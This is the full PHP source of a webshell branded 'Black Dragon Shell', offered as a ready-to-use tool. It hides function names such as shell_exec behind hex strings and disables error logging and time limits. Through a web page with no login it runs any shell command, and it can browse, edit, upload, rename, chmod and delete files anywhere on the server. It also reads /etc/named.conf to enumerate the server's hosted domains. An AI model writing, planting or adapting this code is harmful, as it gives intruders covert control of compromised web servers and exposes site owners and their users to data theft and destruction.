Black Dragon Shell

<?php

          /**
            * Responsive Webshell
          **/

$a =   [
        "7068705F756E616D65", # [0]
        "73657373696F6E5F7374617274", # [1]
        "6572726F725F7265706F7274696E67", # [2]
        "70687076657273696F6E", # [3]
        "66696C655F7075745F636F6E74656E7473", # [4]
        "66696C655F6765745F636F6E74656E7473", # [5]
        "66696C657065726D73", # [6]
        "66696C656D74696D65", # [7]
        "66696C6574797065", # [8]
        "68746D6C7370656369616C6368617273", # [9]
        "737072696E7466", # [10]
        "737562737472", # [11]
        "676574637764", # [12]
        "6368646972", # [13]
        "7374725F7265706C616365", # [14]
        "6578706C6F6465", # [15]
        "666C617368", # [16]
        "6D6F76655F75706C6F616465645F66696C65", # [17]
        "7363616E646972", # [18]
        "676574686F737462796E616D65", # [19]
        "7368656C6C5F65786563", # [20]
        "53797374656D20496E666F726D6174696F6E", # [21]
        "6469726E616D65", # [22]
        "64617465", # [23]
        "6D696D655F636F6E74656E745F74797065", # [24]
        "66756E6374696F6E5F657869737473", # [25]
        "6673697A65", # [26]
        "726D646972", # [27]
        "756E6C696E6B", # [28]
        "6D6B646972", # [29]
        "72656E616D65", # [30]
        "7365745F74696D655F6C696D6974", # [31]
        "636C656172737461746361636865", # [32]
        "696E695F736574", # [33]
        "696E695F676574", # [34]
        "6765744F776E6572", # [35]
        "6765745F63757272656E745F75736572", # [36]
        "66696C65", # [37]
        "707265675F6D617463685F616C6C", # [38]
        "666C757368", # [39]
        "7472696D" # [40]
    ];

for ($i = 0; $i < count($a); $i++) {
  $f[$i] = hex($a[$i]);
}

$f[1]();
$f[2](0);
$f[31](0);
@$f[32]();
@$f[33]('error_log', null);
@$f[33]('log_errors', 0);
@$f[33]('max_execution_time', 0);
@$f[33]('output_buffering', 0);
@$f[33]('display_errors', 0);

function fsize($file) {
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $pos = 0;
  $size = filesize($file);
  while ($size >= 1024) {
    $size /= 1024;
    $pos++;
  }
  return round($size, 2)." ".$a[$pos];
}

function hex($str) {
  $r = "";
  $len = (strlen($str) - 1);
  for ($i = 0; $i < $len; $i += 2) {
    $r .= chr(hexdec($str[$i].$str[$i + 1]));
  }
  return $r;
}

function flash($message, $status, $class, $redirect = false) {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  $_SESSION["message"] = $message;
  $_SESSION["class"] = $class;
  $_SESSION["status"] = $status;
  if ($redirect) {
    header('Location: ' . $redirect);
    exit();
  }
  return true;
}

function clear() {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  return true;
}

if (isset($_GET['dir'])) {
  $path = $_GET['dir'];
  $f[13]($_GET['dir']);
} else {
  $path = $f[12]();
}

$path = $f[14]('\\', '/', $path);
$exdir = $f[15]('/', $path);

function getOwner($item) {
    if (function_exists("posix_getpwuid")) {
        $downer = @posix_getpwuid(fileowner($item));
        $downer = $downer['name'];
    } else {
        $downer = fileowner($item);
    }
    if (function_exists("posix_getgrgid")) {
        $dgrp = @posix_getgrgid(filegroup($item));
        $dgrp = $dgrp['name'];
    } else {
        $dgrp = filegroup($item);
    }
    return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
  if ($f[29]($path . '/' . $_POST['newFolderName'])) {
    $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
    $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
  if ($_POST['newName'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
    $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
  if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
    $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  if ($_POST['newPerm'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
    $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  if (is_dir($_GET['item'])) {
    if ($f[27]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  } else {
    if ($f[28]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  }
}
if (isset($_FILES['uploadfile'])) {
  $total = count($_FILES['uploadfile']['name']);
  for ($i = 0; $i < $total; $i++) {
    $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  }
  if ($total < 2) {
    if ($mainupload) {
      $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
  else{
    if ($mainupload) {
      $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
}

$dirs = $f[18]($path);

$d0mains = @$f[37]("/etc/named.conf", false);
if (!$d0mains){
    $dom = "Cant read /etc/named.conf";
    $GLOBALS["need_to_update_header"] = "true";
}else{
    $count = 0;
    foreach ($d0mains as $d0main){
        if (@strstr($d0main, "zone")){
            $f[38]('#zone "(.*)"#', $d0main, $domains);
            $f[39]();
            if (strlen($f[40]($domains[1][0])) > 2){
                $f[39]();
                $count++;
            }
        }
    }
    $dom = "$count Domain";
}
?>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
</head>

<body class="bg-dark text-light">
  <div class="container-fluid">
    <div class="py-3" id="main">
      <div class="box shadow bg-dark p-4 rounded-3">
        <div class="info mb-3">
            <i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
            <i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
            <i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?><br>
          <i class="fa fa-fingerprint"></i>&ensp;<?= $dom ?>
        </div>
        <div class="breadcrumb">
          <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) :
                        if ($pat == '' && $id == 0):
                    ?>
                    <a href="?dir=/" class="text-decoration-none text-light">/</a>
                    <?php endif; if ($pat == '') continue; ?>
                    <?php if ($id + 1 == count($exdir)) : ?>
                    <span class="text-secondary"><?= $pat ?></span>
                    <?php else : ?>
                    <a href="?dir=
                    <?php
                    for ($i = 0; $i <= $id; $i++) {
                        echo "$exdir[$i]";
                        if ($i != $id) echo "/";
                    }
                    ?>
                    " class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
          <?php endif; ?>
          <?php endforeach; ?>
          <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
        </div>
        <div class="d-flex justify-content-between">
          <div class="p-2">
            <form action="" method="post">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
                </div>
              </div>
            </form>
          </div>
          <div class="p-2">
            <form action="" method="post" enctype="multipart/form-data">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div class="container" id="tools">
          <?php if (isset($_POST['command'])) : ?>
          <div class="row justify-content-center">
            <pre><?= $f[20]($_POST['command']) ?></pre>
          </div>
          <?php endif; ?>
          <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
          <div class="row justify-content-center">
            <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label">New Name</label>
                <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
            <div class="mb-3">
              <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
              <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              <br>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </div>
            <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php endif; ?>
          </div>
          <?php endif; ?>
          <div class="row justify-content-center">
            <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">Folder Name</label>
                  <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
            <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">File Name</label>
                  <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
                </div>
                <div class="mb-3">
                  <label for="name" class="form-label">File Content</label>
                  <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
          </div>
        </div>
        <div class="table-responsive">
          <table class="table table-hover table-dark text-light">
            <thead>
              <tr>
                <td style="width:35%">Name</td>
                <td style="width:10%">Type</td>
                <td style="width:10%">Size</td>
                <td style="width:13%">Owner/Group</td>
                <td style="width:10%">Permission</td>
                <td style="width:13%">Last Modified</td>
                <td style="width:9%">Actions</td>
              </tr>
            </thead>
            <tbody class="text-nowrap">
              <?php
                foreach ($dirs as $dir) :
                  if (!is_dir($dir)) continue;
              ?>
              <tr>
                <td>
                  <?php if ($dir === '..') : ?>
                  <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php elseif ($dir === '.') :  ?>
                  <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php else : ?>
                  <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
                  <?php endif; ?>
                </td>
                <td class="text-light"><?= $f[8]($dir) ?></td>
                <td class="text-light">-</td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php elseif ($dir === '.') : ?>
                  <div class="btn-group">
                    <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
                    <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
              <?php
                foreach ($dirs as $dir) :
                  if (!is_file($dir)) continue;
              ?>
              <tr>
                <td>
                  <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
                </td>
                <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
                <td class="text-light"><?= $f[26]($dir) ?></td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
            </tbody>
          </table>
        </div>
        <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
      </div>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  <script>
  <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
          '<?= $_SESSION['status'] ?>',
          '<?= $_SESSION['message'] ?>',
          '<?= $_SESSION['class'] ?>'
        )
  <?php endif; clear(); ?>
    function deleteConfirm(url) {
      event.preventDefault()
      Swal.fire({
          title: 'Are you sure?',
          icon: 'warning',
          showCancelButton: true,
          confirmButtonColor: '#3085d6',
          cancelButtonColor: '#d33',
          confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
          if (result.isConfirmed) {
            window.location.href = url
        }
      })
    }
    function jscopy() {
      var jsCopy = document.getElementById("CopyFromTextArea");
      jsCopy.focus();
      jsCopy.select();
      document.execCommand("copy");
    }
  </script>
</body>
</html>